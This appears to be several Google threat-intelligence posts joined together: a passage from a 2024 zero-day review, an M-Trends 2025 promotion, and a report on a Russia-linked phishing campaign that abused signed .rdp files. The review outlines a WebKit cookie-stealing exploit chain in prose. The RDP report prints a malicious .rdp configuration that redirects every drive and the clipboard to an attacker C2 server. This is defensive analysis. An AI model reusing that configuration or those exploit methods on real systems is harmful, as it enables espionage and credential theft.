• 2024 saw an increase in the total number of zero-day vulnerabilities affecting desktop operating systems (OSs) (22 in 2024 vs. 17 in 2023), indicating that OSs continue to be a strikingly large target. The proportional increase was even greater, with OS vulnerabilities making up just 17% of total zero-day exploitation in 2023, compared to nearly 30% in 2024. 

• Microsoft Windows exploitation continued to increase, climbing from 13 zero-days in 2022, to 16 in 2023, to 22 in 2024. As long as Windows remains a popular choice both in homes and professional settings, we expect that it will remain a popular target for both zero-day and n-day (i.e. a vulnerability exploited after its patch has been released) exploitation by threat actors.

Figure 2: Zero-days in end-user products in 2023 and 2024

Enterprise Technologies

In 2024, GTIG identified the exploitation of 33 zero-days in enterprise software and appliances. We consider enterprise products to include those mainly utilized by businesses or in a business environment. While the absolute number is slightly lower than what we saw in 2023 (36 vulnerabilities), the proportion of enterprise-focused vulnerabilities has risen from 37% in 2023 to 44% in 2024. Twenty of the 33 enterprise-focused zero-days targeted security and network products, a slight increase from the 18 observed in this category for 2023, but a 9% bump when compared proportionally to total zero-days for the year.

The variety of targeted enterprise products continues to expand across security and networking products, with notable targets in 2024 including Ivanti Cloud Services Appliance, Palo Alto Networks PAN-OS, Cisco Adaptive Security Appliance, and Ivanti Connect Secure VPN. Security and network tools and devices are designed to connect widespread systems and devices with high permissions required to manage the products and their services, making them highly valuable targets for threat actors seeking efficient access into enterprise networks. Endpoint detection and response (EDR) tools are not usually equipped to work on these products, limiting available capabilities to monitor them. Additionally, exploit chains are not generally required to exploit these systems, giving extensive power to individual vulnerabilities that can single-handedly achieve remote code execution or privilege escalation.

Over the last several years, we have also tracked a general increase of enterprise vendors targeted. In 2024, we identified 18 unique enterprise vendors targeted by zero-days. While this number is slightly less than the 22 observed in 2023, it remains higher than all prior years' counts. It is also a stark increase in the proportion of enterprise vendors for the year, given that the 18 unique enterprise vendors were out of 20 total vendors for 2024. 2024's count is still a significant proportional increase compared to the 22 unique enterprise vendors targeted out of a total of 23 in 2023.

Figure 3: Number of unique enterprise vendors targeted

The proportion of zero-days exploited in enterprise devices in 2024 reinforces a trend that suggests that attackers are intentionally targeting products that can provide expansive access and fewer opportunities for detection.

Exploitation by Vendor

The vendors affected by multiple 2024 zero-day vulnerabilities generally fell into two categories: big tech (Microsoft, Google, and Apple) and vendors who supply security and network-focused products. As expected, big tech took the top two spots, with Microsoft at 26 and Google at 11. Apple slid to the fourth most frequently exploited vendor this year, with detected exploitation of only five zero-days. Ivanti was third most frequently targeted with seven zero-days, reflecting increased threat actor focus on networking and security products. Ivanti's placement in the top three reflects a new and crucial change, where a security vendor was targeted more frequently than a popular end-user technology-focused vendor. We discuss in a following section how PRC-backed exploitation has focused heavily on security and network technologies, one of the contributing factors to the rise in Ivanti targeting.

We note that exploitation is not necessarily reflective of a vendor's security posture or software development processes, as targeted vendors and products depend on threat actor objectives and capabilities.

Types of Exploited Vulnerabilities

Threat actors continued to utilize zero-day vulnerabilities primarily for the purposes of gaining remote code execution and elevating privileges. In 2024, these consequences accounted for over half (42) of total tracked zero-day exploitation.

Three vulnerability types were most frequently exploited. Use-after-free vulnerabilities have maintained their prevalence over many years, with eight in 2024, and are found in a variety of targets including hardware, low-level software, operating systems, and browsers. Command injection (also at eight, including OS command injection) and cross-site scripting (XSS) (six) vulnerabilities were also frequently exploited in 2024. Both code injection and command injection vulnerabilities were observed almost entirely targeting networking and security software and appliances, displaying the intent to use these vulnerabilities in order to gain control over larger systems and networks. The XSS vulnerabilities were used to target a variety of products, including mail servers, enterprise software, browsers, and an OS.

All three of these vulnerability types stem from software development errors and require meeting higher programming standards in order to prevent them from occurring. Safe and preventative coding practices, including, but not limited to code reviews, updating legacy codebases, and utilizing up-to-date libraries, can appear to hinder production timelines. However, patches prove the potential for these security exposures to be prevented in the first place with proper intention and effort and ultimately reduce the overall effort to properly maintain a product or codebase.

Who Is Driving Exploitation

Figure 4: 2024 attributed zero-day exploitation

Due to the stealthy access zero-day vulnerabilities can provide into victim systems and networks, they continue to be a highly sought after capability for threat actors. GTIG tracked a variety of threat actors exploiting zero-days in a variety of products in 2024, which is consistent with our previous observations that zero-day exploitation has diversified in both platforms targeted and actors exploiting them. We attributed the exploitation of 34 zero-day vulnerabilities in 2024, just under half of the total 75 we identified in 2024. While the proportion of exploitation that we could attribute to a threat actor dipped slightly from our analysis of zero-days in 2023, it is still significantly higher than the ~30% we attributed in 2022. While this reinforces our previous observation that platforms' investment in exploit mitigations are making zero-days harder to exploit, the security community is also slowly improving our ability to identify that activity and attribute it to threat actors.

Consistent with trends observed in previous years, we attributed the highest volume of zero-day exploitation to traditional espionage actors, nearly 53% (18 vulnerabilities) of total attributed exploitation. Of these 18, we attributed the exploitation of 10 zero-days to likely nation-state-sponsored threat groups and eight to CSVs.

CSVs Continue to Increase Access to Zero-Day Exploitation

While we still expect government-backed actors to continue their historic role as major players in zero-day exploitation, CSVs now contribute a significant volume of zero-day exploitation. Although the total count and proportion of zero-days attributed to CSVs declined from 2023 to 2024, likely in part due to their increased emphasis on operational security practices, the 2024 count is still substantially higher than the count from 2022 and years prior. Their role further demonstrates the expansion of the landscape and the increased access to zero-day exploitation that these vendors now provide other actors.

In 2024, we observed multiple exploitation chains using zero-days developed by forensic vendors that required physical access to a device (CVE-2024-53104, CVE-2024-32896, CVE-2024-29745, CVE-2024-29748). These bugs allow attackers to unlock the targeted mobile device with custom malicious USB devices. For instance, GTIG and Amnesty International's Security Lab discovered and reported on CVE-2024-53104 in exploit chains developed by forensic company Cellebrite and used against the Android phone of a Serbian student and activist by Serbian security services. GTIG worked with Android to patch these vulnerabilities in the February 2025 Android security bulletin. 

PRC-Backed Exploitation Remains Persistent

PRC threat groups remained the most consistent government-backed espionage developer and user of zero-days in 2024. We attributed nearly 30% (five vulnerabilities) of traditional espionage zero-day exploitation to PRC groups, including the exploitation of zero-day vulnerabilities in Ivanti appliances by UNC5221 (CVE-2023-46805 and CVE-2024-21887), which GTIG reported on extensively. During this campaign, UNC5221 chained multiple zero-day vulnerabilities together, highlighting these actors' willingness to expend resources to achieve their apparent objectives. The exploitation of five vulnerabilities that we attributed to PRC groups exclusively focused on security and networking technologies. This continues a trend that we have observed from PRC groups for several years across all their operations, not just in zero-day exploitation.

North Korean Actors Mix Financially Motivated and Espionage Zero-Day Exploitation

For the first time since we began tracking zero-day exploitation in 2012, in 2024, North Korean state actors tied for the highest total number of attributed zero-days exploited (five vulnerabilities) with PRC-backed groups. North Korean groups are notorious for their overlaps in targeting scope; tactics, techniques, and procedures (TTPs); and tooling that demonstrate how various intrusion sets support the operations of other activity clusters and mix traditional espionage operations with attempts to fund the regime. This focus on zero-day exploitation in 2024 marks a significant increase in these actors' focus on this capability. North Korean threat actors exploited two zero-day vulnerabilities in Chrome as well as three vulnerabilities in Windows products.

• In October 2024, it was publicly reported that APT37 exploited a zero-day vulnerability in Microsoft products. The threat actors reportedly compromised an advertiser to serve malicious advertisements to South Korean users that would trigger zero-click execution of CVE-2024-38178 to deliver malware. Although we have not yet corroborated the group's exploitation of CVE-2024-38178 as reported, we have observed APT37 previously exploit Internet Explorer zero-days to enable malware distribution.

• North Korean threat actors also reportedly exploited a zero-day vulnerability in the Windows AppLocker driver (CVE-2024-21338) in order to gain kernel-level access and turn off security tools. This technique abuses legitimate and trusted but vulnerable already-installed drivers to bypass kernel-level protections and provides threat actors an effective means to bypass and mitigate EDR systems.

Non-State Exploitation

In 2024, we linked almost 15% (five vulnerabilities) of attributed zero-days to non-state financially motivated groups, including a suspected FIN11 cluster's exploitation of a zero-day vulnerability in multiple Cleo managed file transfer products (CVE-2024-55956) to conduct data theft extortion. This marks the third year of the last four (2021, 2023, and 2024) in which FIN11 or an associated cluster has exploited a zero-day vulnerability in its operations, almost exclusively in file transfer products. Despite the otherwise varied cast of financially motivated threat actors exploiting zero-days, FIN11 has consistently dedicated the resources and demonstrated the expertise to identify, or acquire, and exploit these vulnerabilities from multiple different vendors.

We attributed an additional two zero-days in 2024 to non-state groups with mixed motivations, conducting financially motivated activity in some operations but espionage in others. Two vulnerabilities (CVE-2024-9680 and CVE-2024-49039, detailed in the next section) were exploited as zero-days by CIGAR (also tracked as UNC4895 or publicly reported as RomCom), a group that has conducted financially motivated operations alongside espionage likely on behalf of the Russian government, based partly on observed highly specific targeting focused on Ukrainian and European government and defense organizations.

A Zero-Day Spotlight on CVE-2024-44308, CVE-2024-44309, and CVE-2024-49039: A look into zero-days discovered by GTIG researchers Spotlight #1: Stealing Cookies with Webkit

On Nov. 12, 2024, GTIG detected a potentially malicious piece of JavaScript code injected on https://online.da.mfa.gov[.]ua/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.4. The JavaScript was loaded directly from the main page of the website of the Diplomatic Academy of Ukraine, online.da.mfa.gov.ua. Upon further analysis, we discovered that the JavaScript code was a WebKit exploit chain specifically targeting MacOS users running on Intel hardware.

The exploit consisted of a WebKit remote code execution (RCE) vulnerability (CVE-2024-44308), leveraging a logical Just-In-Time (JIT) error, succeeded by a data isolation bypass (CVE-2024-44309). The RCE vulnerability employed simple and old JavaScriptCore exploitation techniques that are publicly documented, namely:

• Setting up addrof/fakeobj primitives using the vulnerability

• Leaking StructureID

• Building a fake TypedArray to gain arbitrary read/write

• JIT compiling a function to get a RWX memory mapping where a shellcode can be written and executed

The shellcode traversed a set of pointers and vtables to find and call WebCookieJar::cookieRequestHeaderFieldValue with an empty firstPartyForCookies parameter, allowing the threat actor to access cookies of any arbitrary website passed as the third parameter to cookieRequestHeaderFieldValue.

The end goal of the exploit is to collect users' cookies in order to access login.microsoftonline.com. The cookie values were directly appended in a GET request sent to https://online.da.mfa.gov.ua/gotcookie?.

This is not the first time we have seen threat actors stay within the browser to collect users' credentials. In March 2021, a targeted campaign used a zero-day against WebKit on iOS to turn off Same-Origin-Policy protections in order to collect authentication cookies from several popular websites. In August 2024, a watering hole on various Mongolian websites used Chrome and Safari n-day exploits to exfiltrate users’ credentials.

While it is unclear why this abbreviated approach was taken as opposed to deploying full-chain exploits, we identified several possibilities, including:

• The threat actor was not able to get all the pieces to have a full chain exploit. In this case, the exploit likely targeted only the MacIntel platform because they did not have a Pointer Authentication Code (PAC) bypass to target users using Apple Silicon devices. A PAC bypass is required to make arbitrary calls for their data isolation bypass.

• The price for a full chain exploit was too expensive, especially when the chain is meant to be used at a relatively large scale. This especially includes watering hole attacks, where the chances of being detected are high and subsequently might quickly burn the zero-day vulnerability and exploit.

• Stealing credentials is sufficient for their operations and the information they want to collect.

This trend is also observed beyond the browser environment, wherein third-party mobile applications (e.g., messaging applications) are targeted, and threat actors are stealing the information only accessible within the targeted application.

Spotlight #2: CIGAR Local Privilege Escalations CIGAR's Browser Exploit Chain

In early October 2024, GTIG independently discovered a fully weaponized exploit chain for Firefox and Tor browsers employed by CIGAR. CIGAR is a dual financial- and espionage-motivated threat group assessed to be running both types of campaigns in parallel, often simultaneously. In 2023, we observed CIGAR utilizing an exploit chain in Microsoft Office (CVE-2023-36884) as part of an espionage campaign targeting attendees of the Ukrainian World Congress and NATO Summit; however, in an October 2024 campaign, the usage of the Firefox exploit appears to be more in line with the group's financial motives.

Our analysis, which broadly matched ESET's findings, indicated that the browser RCE used is a use-after-free vulnerability in the Animation timeline. The vulnerability, known as CVE-2024-9680, was an n-day at the time of discovery by GTIG.

Upon further analysis, we identified that the embedded sandbox escape, which was also used as a local privilege escalation to NT/SYSTEM, was exploiting a newfound vulnerability. We reported this vulnerability to Mozilla and Microsoft, and it was later assigned CVE-2024-49039.

Double-Down on Privilege Escalation: from Low Integrity to SYSTEM

Firefox uses security sandboxing to introduce an additional security boundary and mitigate the effects of malicious code achieving code execution in content processes. Therefore, to achieve code execution on the host, an additional sandbox escape is required.

The in-the-wild CVE-2024-49039 exploit, which contained the PDB string C:\etalon\PocLowIL\@Output\PocLowIL.pdb, could achieve both a sandbox escape and privilege escalation. The exploit abused two distinct issues to escalate privileges from Low Integrity Level (IL) to SYSTEM: the first allowed it to access the WPTaskScheduler RPC Interface (UUID: {33d84484-3626-47ee-8c6f-e7e98b113be1}), normally not accessible from a sandbox Firefox content process via the "less-secure endpoint" ubpmtaskhostchannel created in ubpm.dll; the second stems from insufficient Access Control List (ACL) checks in WPTaskScheduler.dll RPC server, which allowed an unprivileged user to create and execute scheduled tasks as SYSTEM.

As detailed in "How to secure a Windows RPC Server, and how not to.," there are three ways to secure an RPC server, and all three were utilized in WPTaskScheduler:

1. Securing the endpoint: In WPTaskScheduler::TsiRegisterRPCInterface, the third argument to RpcServerUseProtseq is a non-NULL security descriptor (SD).

• This SD should prevent the Firefox "Content" process from accessing the WPTaskScheduler RPC endpoint. However, a lesser known "feature" of RPC is that RPC endpoints are multiplexed, meaning that if there is a less secure endpoint in the same process, it is possible to access an interface indirectly from another endpoint (with a more permissive ACL). This is what the exploit does: instead of accessing RPC using the ALPC port that the WPTaskScheduler.dll sets up, it resolves the interface indirectly via upbmtaskhostchannel. ubpm.dll uses a NULL security descriptor when initializing the interface, instead relying on the UbpmpTaskHostChannelInterfaceSecurityCb callback for ACL checks:

Figure 5: NULL security descriptor used when creating "ubpmtaskhostchannel" RPC endpoint in ubpm.dll::UbpmEnableTaskHostChannelRpcInterface, exposing a less secure endpoint for WPTaskScheduler interface

2. Securing the interface: In the same WPTaskScheduler::TsiRegisterRPCInterface function, an overly permissive security descriptor was used as an argument to RpcServerRegisterIf3. As we can see on the listing below, the CVE-2024-49039 patch addressed this by introducing a more locked-down SD.

Figure 6: Patched WPTaskScheduler.dll introduces a more restrictive security descriptor when registering an RPC interface

3. Ad-hoc Security: Implemented in WPTaskScheduler.dll::CallerHasAccess and called prior to enabling or executing any scheduled task. The function performs checks on whether the calling user is attempting to execute a task created by them or one they should be able to access but does not perform any additional checks to prevent calls originating from an unprivileged user.

CVE-2024-49039 addresses the issue by applying a more restrictive ACL to the interface; however, the issue with the less secure endpoint described in "1. Securing the endpoint" remains, and a restricted token process is still able to access the endpoint.

Unidentified Actor Using the Same Exploits

In addition to CIGAR, we discovered another, likely financially motivated, group using the exact same exploits (albeit with a different payload) while CVE-2024-49039 was still a zero-day. This actor utilized a watering hole on a legitimate, compromised cryptocurrency news website redirecting to an attacker-controlled domain hosting the same CVE-2024-9680 and CVE-2024-49039 exploit.

Outlook and Implications

Defending against zero-day exploitation continues to be a race of strategy and prioritization. Not only are zero-day vulnerabilities becoming easier to procure, but attackers finding use in new types of technology may strain less experienced vendors. While organizations have historically been left to prioritize patching processes based on personal or organizational threats and attack surfaces, broader trends can inform a more specific approach alongside lessons learned from major vendors' mitigation efforts.

We expect zero-day vulnerabilities to maintain their allure to threat actors as opportunities for stealth, persistence, and detection evasion. While we observed trends regarding improved vendor security posture and decreasing numbers around certain historically popular products—particularly mobile and browsers—we anticipate that zero-day exploitation will continue to rise steadily. Given the ubiquity of operating systems and browsers in daily use, big tech vendors are consistently high-interest targets, and we expect this to continue. Phones and browsers will almost certainly remain popular targets, although enterprise software and appliances will likely see a continued rise in zero-day exploitation. Big tech companies have been victims of zero-day exploitation before and will continue to be targeted. This experience, in addition to the resources required to build more secure products and detect vulnerabilities in responsible manners, permits larger companies to approach zero-days as a more manageable problem.

For newly targeted vendors and those with products in the growing prevalence of targeted enterprise products, security practices and procedures should evolve to consider how successful exploitation of these products could bypass typical protection mechanisms. Preventing successful exploitation will rely heavily on these vendors' abilities to enforce proper and safe coding practices. We continue to see the same types of vulnerabilities exploited over time, indicating patterns in what weaknesses attackers seek out and find most beneficial to exploit. Continued existence and exploitation of similar issues makes zero-days easier; threat actors know what to look for and where exploitable weaknesses are most pervasive.

Vendors should account for this shift in threat activity and address gaps in configurations and architectural decisions that could permit exploitation of a single product to cause irreparable damage. This is especially true for highly valuable tools with administrator access and/or widespread reach across systems and networks. Best practices continue to represent a minimum threshold of what security standards an architecture should demonstrate, including zero-trust fundamentals such as least-privilege access and network segmentation. Continuous monitoring should occur where possible in order to restrict and end unauthorized access as swiftly as possible, and vendors will need to account for EDR capabilities for technologies that currently lack them (e.g., many security and networking products). GTIG recommends acute threat surface awareness and respective due diligence in order to defend against today's zero-day threat landscape. Zero-day exploitation will ultimately be dictated by vendors' decisions and ability to counter threat actors' objectives and pursuits.

One of the ways threat actors keep up with the constantly evolving cyber defense landscape is by raising the level of sophistication of their attacks. This trend can be seen across many of our engagements, particularly when responding to China-nexus groups. These actors have demonstrated the ability to create custom malware ecosystems, identify and use zero-day vulnerabilities in security and other appliances, leverage proxy networks akin to botnets, target edge devices and platforms that traditionally lack endpoint detection and response, and employ custom obfuscators in their malware. They take these extra steps to evade detection, stifle analysis, and ultimately stay on systems for longer periods of time. 

However, not all successful attacks are highly complex and technical. Many times attackers will take advantage of the opportunities that are made available to them. This includes using credentials stolen in infostealer operations to gain initial access. Mandiant has seen such a rise in infostealer use that stolen credentials are now the second highest initial infection vector, making up 16% of our investigations. Other ways attackers are taking advantage of opportunities is by exploiting gaps and risks introduced in cloud migrations, and targeting unsecured data repositories to obtain credentials and other sensitive information. 

Today we released M-Trends 2025, the 16th edition of our annual report, to help organizations stay ahead of all types of attacks. We dive deep into several trends and share data and analysis from the frontlines of our incident response engagements to arm defenders with critical insights into the latest cyber threats.

aside_block

<ListValue: [StructValue([('title', 'M-Trends 2025 is available!'), ('body', <wagtail.rich_text.RichText object at 0x3e30267aa250>), ('btn_text', 'Read now'), ('href', 'https://cloud.google.com/security/resources/m-trends?utm_source=m-trends-launch-blog&utm_medium=blog&utm_campaign=FY25-Q2-global-GCP33067-website-dl-dgcsm-m-trends-2025-report&utm_content=m-trends-launch-blog&utm_term=-'), ('image', <GAEImage: m-trends 2025 cover>)])]>

Data and Trends

M-Trends 2025 data is based on more than 450,000 hours of Mandiant Consulting investigations. The metrics are based on investigations of targeted attack activity conducted between Jan. 1, 2024 and Dec. 31, 2024. Key findings in M-Trends 2025 include: 

• 55% of threat groups active in 2024 were financially motivated, which marks a steady increase, and 8% of threat groups were motivated by espionage.

• Exploits continue to be the most common initial infection vector (33%), and for the first time stolen credentials rose to the second most common in 2024 (16%).

• The top targeted industries include financial (17.4%), business and professional services (11.1%), high tech (10.6%), government (9.5%), and healthcare (9.3%).

• Global median dwell time rose to 11 days from 10 days in 2023. Global median dwell time was 26 days when external entities notified, 5 days when adversaries notified (notably in ransomware cases), and 10 days when organizations discovered malicious activity internally.

M-Trends 2025 dives deep into the aforementioned infostealer, cloud, and unsecured data repository trends, and several other topics, including:

• Democratic People's Republic of Korea deploying citizens as remote IT contractors, using false identities to generate revenue and fund national interests.

• Iran-nexus threat actors ramping up cyber operations in 2024, notably targeting Israeli entities and using a variety of methods to improve intrusion success.

• Attackers targeting cloud-based stores of centralized authority, such as single sign-on portals, to gain broad access.

• Increased targeting of Web3 technologies such as cryptocurrencies and blockchains for theft, money laundering, and financing illicit activities.

Recommendations for Organizations

Each article in M-Trends 2025 offers critical recommendations for organizations to enhance their cybersecurity postures, with several of them being applicable to multiple trends. We advise that organizations:

• Implement a layered security approach that emphasizes sound fundamentals such as vulnerability management, least privilege, and hardening.

• Enforce FIDO2-compliant multi-factor authentication across all user accounts, especially privileged accounts.

• Invest in advanced detection technologies and develop robust incident response plans. 

• Improve logging and monitoring practices to identify suspicious activity and reduce dwell time. 

• Consider threat hunting exercises to proactively search for indicators of compromise.

• Implement strong security controls for cloud migrations and deployments. 

• Regularly assess and audit cloud environments for vulnerabilities and misconfigurations.

• Mitigate insider risk by practicing thorough vetting processes for employees (especially remote workers), monitoring for suspicious activity, and enforcing strict access controls.

• Keep up-to-date with the latest threat intelligence, adapt security strategies accordingly, and regularly review and update security policies and procedures to address evolving threats. 

Be Ready to Respond

The M-Trends mission has always been to equip security professionals with frontline insights into the latest evolving cyberattacks and to provide practical and actionable learnings for better organizational security.

Read the full M-Trends 2025 report today, and register for our M-Trends 2025 webinar series for a more in-depth look at the data, topics, and recommendations discussed in the report. The M-Trends 2025 Executive Edition is also available, featuring a high-level look at the data and trends, along with key recommendations. Listen to the M-Trends 2025 episode of the Cloud Security Podcast to learn more about what the findings mean, and how the report gets created.

Written by: Rohit Nambiar

Executive Summary

In October 2024, Google Threat Intelligence Group (GTIG) observed a novel phishing campaign targeting European government and military organizations that was attributed to a suspected Russia-nexus espionage actor we track as UNC5837. The campaign employed signed .rdp file attachments to establish Remote Desktop Protocol (RDP) connections from victims' machines. Unlike typical RDP attacks focused on interactive sessions, this campaign creatively leveraged resource redirection (mapping victim file systems to the attacker servers) and RemoteApps (presenting attacker-controlled applications to victims). Evidence suggests this campaign may have involved the use of an RDP proxy tool like PyRDP to automate malicious activities like file exfiltration and clipboard capture. This technique has been previously dubbed as “Rogue RDP.”

The campaign likely enabled attackers to read victim drives, steal files, capture clipboard data (including passwords), and obtain victim environment variables. While we did not observe direct command execution on victim machines, the attackers could present deceptive applications for phishing or further compromise. The primary objective of the campaign appears to be espionage and file theft, though the full extent of the attacker's capabilities remains uncertain. This campaign serves as a stark reminder of the security risks associated with obscure RDP functionalities, underscoring the importance of vigilance and proactive defense.

Introduction

Remote Desktop Protocol (RDP) is a legitimate Windows service that has been well researched by the security community. However, most of the security community’s existing research is focused on the adversarial use of RDP to control victim machines via interactive sessions. 

This campaign included use of RDP that was not focused on interactive control of victim machines. Instead, adversaries leveraged two lesser-known features of the RDP protocol to present an application (the nature of which is currently unknown) and access victim resources. Given the low prevalence of this tactic, technique, and procedure (TTP) in previous reporting, we seek to explore the technical intricacies of adversary tradecraft abusing the following functionality of RDP:

• RDP Property Files (.rdp configuration files)

• Resource redirection (e.g. mapping victim file systems to the RDP server)

• RemoteApps (i.e. displaying server-hosted applications to victim)

Additionally, we will shed light on PyRDP, an open-source RDP proxy tool that offers attractive automation capabilities to attacks of this nature.

By examining the intricacies of the tradecraft observed, we gain not only a better understanding of existing campaigns that have employed similar tradecraft, but of attacks that may employ these techniques in the future.

Campaign Operations

This campaign tracks a wave of suspected Russian espionage activity targeting European government and military organizations via widespread phishing. Google Threat Intelligence Group (GTIG) attributes this activity to a suspected Russia-nexus espionage actor group we refer to as UNC5837. The Computer Emergency Response Team of Ukraine (CERT-UA) reported this campaign on Oct. 29, 2024, noting the use of mass-distributed emails with.rdp file attachments among government agencies and other Ukrainian organizations. This campaign has also been documented by Microsoft, TrendMicro, and Amazon.

The phishing email in the campaign claimed to be part of a project in conjunction with Amazon, Microsoft, and the Ukrainian State Secure Communications and Information Security Agency. The email included a signed .rdp file attachment purporting to be an application relevant to the described project. Unlike more common phishing lures, the email explicitly stated no personal data was to be provided and if any errors occurred while running the attachment, to ignore it as an error report would be automatically generated.

Figure 1: Campaign email sample

Executing the signed attachment initiates an RDP connection from the victim's machine. The attachment is signed with a Let’s Encrypt certificate issued to the domain the RDP connection is established with. The signed nature of the file bypasses the typical yellow warning banner, which could otherwise alert the user to a potential security risk. More information on signature-related characteristics of these files are covered in a later section.

Figure 2: Unsigned RDP connection — warning banner

The malicious .rdp configuration file specifies that, when executed, an RDP connection is initiated from the victim’s machine while granting the adversary read & write access to all victim drives and clipboard content. Additionally, it employs the RemoteApp feature, which presents a deceptive application titled "AWS Secure Storage Connection Stability Test" to the victim's machine. This application, hosted on the attacker's RDP server, masquerades as a locally installed program, concealing its true, potentially malicious nature. While the application's exact purpose remains undetermined, it may have been used for phishing or to trick the user into taking action on their machine, thereby enabling further access to the victim's machine. 

Further analysis suggests the attacker may have used an RDP proxy tool like PyRDP (examined in later sections), which could automate malicious activities such as file exfiltration and clipboard capture, including potentially sensitive data like passwords. While we cannot confirm the use of an RDP proxy tool, the existence, ease of accessibility, and functionalities offered by such a tool make it an attractive option for this campaign. Regardless of whether such a tool was used or not, the tool is bound to the permissions granted by the RDP session. At the time of writing, we are not aware of an RDP proxy tool that exploits vulnerabilities in the RDP protocol, but rather gives enhanced control over the established connection. 

The techniques seen in this campaign, combined with the complexity of how they interact with each other, make it tough for incident responders to assess the true impact to victim machines. Further, the number of artifacts left to perform post-mortem are relatively small, compared to other attack vectors. Because existing research on the topic is speculative regarding how much control an attacker has over the victim, we sought to dive deeper into the technical details of the technique components. While full modi operandi cannot be conclusively determined, UNC5837’s primary objective appears to be espionage and file stealing.

Deconstructing the Attack: A Deep Dive into RDP Techniques Remote Desktop Protocol

The RDP is used for communication between the Terminal Server and Terminal Server Client. RDP works with the concept of “virtual channels” that are capable of carrying presentation data, keyboard/mouse activity, clipboard data, serial device information, and more. Given these capabilities, as an attack vector, RDP is commonly seen as a route for attackers in possession of valid victim credentials to gain full graphical user interface (GUI) access to a machine. However, the protocol supports other interesting capabilities that can facilitate less conventional attack techniques.

RDP Configuration Files

RDP has a number of properties that can be set to customize the behavior of a remote session (e.g., IP to connect to, display settings, certificate options). While most are familiar with configuring RDP sessions via a traditional GUI (mstsc.exe), these properties can also be defined in a configuration file with the .rdp extension which, when executed, achieves the same effect.

The following .rdp file was seen as an email attachment (SHA256): ba4d58f2c5903776fe47c92a0ec3297cc7b9c8fa16b3bf5f40b46242e7092b46

An excerpt of this .rdp file is displayed in Figure 3 with annotations describing some of the configuration settings.

# Connection information alternate full address:s:eu-southeast-1-aws[.]govtr[.]cloud full address:s:eu-southeast-1-aws[.]govtr[.]cloud # Resource Redirection drivestoredirect:s:* redirectprinters:i:1 redirectcomports:i:1 redirectsmartcards:i:1 redirectwebauthn:i:1 redirectclipboard:i:1 redirectposdevices:i:1 # RemoteApp Config remoteapplicationicon:s:C:\Windows\SystemApps\Microsoft.Windows. SecHealthUI_cw5n1h2txyewy\Assets\Health.contrast-white.ico remoteapplicationmode:i:1 remoteapplicationname:s:AWS Secure Storage Connection Stability Test v24091285697854 remoteapplicationexpandcmdline:i:0 remoteapplicationcmdline:s:%USERPROFILE% %COMPUTERNAME% %USERDNSDOMAIN% remoteapplicationprogram:s:||AWS Secure Storage Connection Stability Test v24091285697854 # Certificate Signing signature:s:AQABAAEAAABIDgAAMIIORAYJKoZIhvcNAQcCoIIONTCCDj ECAQExDzANBglghkgB ZQMEAgEFADALBgkqhkiG9w0BBwGggg1VMIID hzCCAw2gAwIBAgISBAM9zxvijMss qZQ1HI92Q29iMAoGCCqGSM49BA MDMDIxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1M ZXQncyBFbmNye XB0MQswCQYDVQQDEwJFNTAeFw0yNDA5MjUxMzM1MjRaFw0yNDEy MjQxMzM1MjNaMBYxFDASBgNVBAMTC2dvdnRyLmNsb3VkMFkwEwY HKoZIzj0CAQYI KoZIzj0DAQcDQgAE9QvXN8RVmfGSaJf0nPJcFoWu8N whtD2/MJa+0N6k+7pn5XxS 2s74CVZ6alzVJhuRh3711HkOJ/NDZ1HgA 0IGtaOCAh0wggIZMA4GA1UdDwEB/wQE AwIHgDAdBgNVHSUEFjAUBg grBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIw ADAdBgNVHQ 4EFgQUmlyAvqbyzuGLNNsbP3za+WwgrfwwHwYDVR0jBBgwFoAUnytf zzwhT50Et+0rLMTGcIvS1w0wVQYIKwYBBQUHAQEESTBHMCEGCCsG AQUFBzABhhVo dHRwOi8vZTUuby5sZW5jci5vcmcwIgYIKwYBBQUHM AKGFmh0dHA6Ly9lNS5pLmxl bmNyLm9yZy8wJQYDVR0RBB4wHIINK i5nb3Z0ci5jbG91ZIILZ292dHIuY2xvdWQw EwYDVR0gBAwwCjAIBgZng QwBAgEwggEFBgorBgEEAdZ5AgQCBIH2BIHzAPEAdwBI sONr2qZHNA/ lagL6nTDrHFIBy1bdLIHZu7+rOdiEcwAAAZIpml1hAAAEAwBIMEYC IQCpE8FeX9O+aQZBuhg0LrUcIpfZx9pojamHrrov9YJjSQIhAKBBEO2sSlX3Wxau c7p/xhzOfesiX4DnuCk57t...

Figure 3: .rdp file excerpt

When executed, this configuration file initiates an RDP connection to the malicious command-and-control (C2 or C&C) server eu-southeast-1-aws[.]govtr[.]cloud and redirects all drives, printers, COM ports, smart cards, WebAuthn requests (e.g., security key), clipboard, and point-of-sale (POS) devices to the C2 server.

The remoteapplicationmode parameter being set to 1 will switch the session from the “traditional” interactive GUI session to instead presenting the victim with only a part (application) of the RDP server. The RemoteApp, titled AWS Secure Storage Connection Stability Test v24091285697854, resides on the RDP server and is presented to the victim in a windowed popup. The icon used to represent this application (on the Windows taskbar for example) is defined by remoteapplicationicon. Windows environment variables %USERPROFILE%, %COMPUTERNAME%, and %USERDNSDOMAIN% are used as command-line arguments to the application. Due to the use of the property remoteapplicationexpandcmdline:i:0 , the Windows environment variables sent to the RDP server will be that of the client (aka victim), effectively performing initial reconnaissance upon connection.

Lastly, the signature property defines the encoded signature that signs the .rdp file. The signature used in this case was generated using Let’s Encrypt. Interestingly, the SSL certificate used to sign the file is issued for the domain the RDP connection is made to. For example, with SHA256: 1c1941b40718bf31ce190588beef9d941e217e6f64bd871f7aee921099a9d881.

Figure 4: Signature property within .rdp file

Tools like rdp_holiday can be used to decode the public certificate embedded within the file in Figure 4.

Figure 5: .rdp file parsed by rdp_holiday

The certificate is an SSL certificate issued for the domain the RDP connection is made to. This can be correlated with the RDP properties full_address / alternate_full_address.

alternate full address:s:eu-north-1-aws.ua-gov.cloud full address:s:eu-north-1-aws.ua-gov.cloud

Figure 6: Remote Address RDP Proprties

.rdp files targeting other victims also exhibited similar certificate behavior.

In legitimate scenarios, an organization could sign RDP connections with SSL certificates tied to their organization’s certificate authority. Additionally, an organization could also disable execution of .rdp files from unsigned and unknown publishers. The corresponding GPO can be found under Administrative Templates -> Windows Components -> Remote Desktop Services -> Remote Desktop Connection Client -> Allow .rdp files from unknown publishers.

Figure 7: GPO policy for disabling unknown and unsigned .rdp file execution

The policy in Figure 7 can optionally further be coupled with the “Specify SHA1 Thumbprints of certificates representing trusted .rdp publishers” policy (within the same location) to add certificates as Trusted Publishers.

